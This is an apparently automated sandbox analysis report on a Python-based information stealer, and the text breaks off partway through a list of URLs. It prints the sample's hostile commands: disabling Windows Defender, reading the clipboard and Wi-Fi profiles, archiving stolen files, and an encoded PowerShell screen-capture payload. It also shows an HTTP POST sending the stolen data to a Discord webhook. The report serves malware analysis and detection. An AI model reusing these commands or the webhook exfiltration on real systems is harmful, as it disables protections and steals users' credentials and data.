MALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\e45AiBoV6X.exe", ParentImage: C:\Users\user\Desktop\e45AiBoV6X.exe, ParentProcessId: 7396, ParentProcessName: e45AiBoV6X.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 8008, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1368, TargetFilename: C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7188, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *, ProcessId: 8132, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 7544, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\e45AiBoV6X.exe", ParentImage: C:\Users\user\Desktop\e45AiBoV6X.exe, ParentProcessId: 7396, ParentProcessName: e45AiBoV6X.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 6556, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: e45AiBoV6X.exe	Virustotal: Detection: 50%			Perma Link
Source: e45AiBoV6X.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Code function: 65_2_00007FF629B0901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

65_2_00007FF629B0901C

Source: e45AiBoV6X.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\_w\1\b\bin\amd64\_lzma.pdbMM source: e45AiBoV6X.exe, 00000001.00000002.1995160650.00007FFE1025B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\select.pdb source: e45AiBoV6X.exe, 00000001.00000002.1997954782.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\sqlite3.pdb source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_sqlite3.pdb source: e45AiBoV6X.exe, 00000001.00000002.1996506357.00007FFE11EA1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: e45AiBoV6X.exe
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: e45AiBoV6X.exe, e45AiBoV6X.exe, 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\python310.pdb source: e45AiBoV6X.exe, 00000001.00000002.1992435238.00007FFDFB77F000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_bz2.pdb source: e45AiBoV6X.exe, 00000001.00000002.1997119035.00007FFE126C1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: e45AiBoV6X.exe, 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_queue.pdb source: e45AiBoV6X.exe, 00000001.00000002.1997695526.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_ssl.pdb source: e45AiBoV6X.exe, 00000001.00000002.1994462832.00007FFE0EC41000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_hashlib.pdb source: e45AiBoV6X.exe, 00000001.00000002.1994882993.00007FFE101D1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_lzma.pdb source: e45AiBoV6X.exe, 00000001.00000002.1995160650.00007FFE1025B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: \bx.pdb source: powershell.exe, 00000025.00000002.1868678671.00000296ED014000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000041.00000000.1882689611.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: e45AiBoV6X.exe, 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.pdb source: powershell.exe, 00000025.00000002.1843488107.0000029680385000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: e45AiBoV6X.exe, 00000000.00000003.1716520142.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1997442294.00007FFE126F1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\_w\1\b\bin\amd64\_ctypes.pdb source: e45AiBoV6X.exe, 00000001.00000002.1996803109.00007FFE11EC1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: e45AiBoV6X.exe, 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_socket.pdb source: e45AiBoV6X.exe, 00000001.00000002.1995817192.00007FFE10301000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.pdbhP source: powershell.exe, 00000025.00000002.1843488107.0000029680385000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\unicodedata.pdb source: e45AiBoV6X.exe, 00000001.00000002.1989811289.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: e45AiBoV6X.exe, e45AiBoV6X.exe, 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmp

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6FB1E79B0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E85A0 FindFirstFileExW,FindClose,	0_2_00007FF6FB1E85A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB200B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6FB200B84
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E85A0 FindFirstFileExW,FindClose,	1_2_00007FF6FB1E85A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB200B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF6FB200B84
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6FB1E79B0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003229 MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,00007FFE1FF9F020,FindFirstFileW,FindNextFileW,WideCharToMultiByte,	1_2_00007FFDFB003229
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B146EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	65_2_00007FF629B146EC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B0E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	65_2_00007FF629B0E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B588E0 FindFirstFileExA,	65_2_00007FF629B588E0

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 162.159.137.232 162.159.137.232

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.2

Source: e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B678000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: canary.discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1248781366489907321/ufb6qyCKcRyE7syQfJqh1lNQR64inZBSWaeenuFVMnWhurxQmS0fvG_72iP5niS7D08V HTTP/1.1Host: canary.discord.comAccept-Encoding: identityContent-Length: 696330User-Agent: python-urllib3/2.2.2Content-Type: multipart/form-data; boundary=ee98191e18960bbd7c200f93a176e816

Source: e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718073686.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718495170.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: e45AiBoV6X.exe, 00000000.00000003.1718073686.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718495170.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: e45AiBoV6X.exe, 00000000.00000003.1716755215.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717360378.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717532806.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1716650900.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718073686.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717278890.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720356944.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717046095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720685232.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717449095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717157218.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720465191.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718703351.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718495170.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1716876417.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: e45AiBoV6X.exe, 00000000.00000003.1716755215.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717360378.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717532806.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000002.1998861358.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1716650900.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720356944.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717278890.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720356944.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717046095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720685232.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717449095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717157218.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717278890.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720465191.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718703351.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1716876417.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: e45AiBoV6X.exe, 00000000.00000003.1716755215.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717360378.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717532806.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000002.1998861358.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1716650900.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720356944.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718073686.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717278890.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720356944.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717046095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720685232.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717449095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717157218.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1717278890.000001F32EEEC000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1720465191.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718703351.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 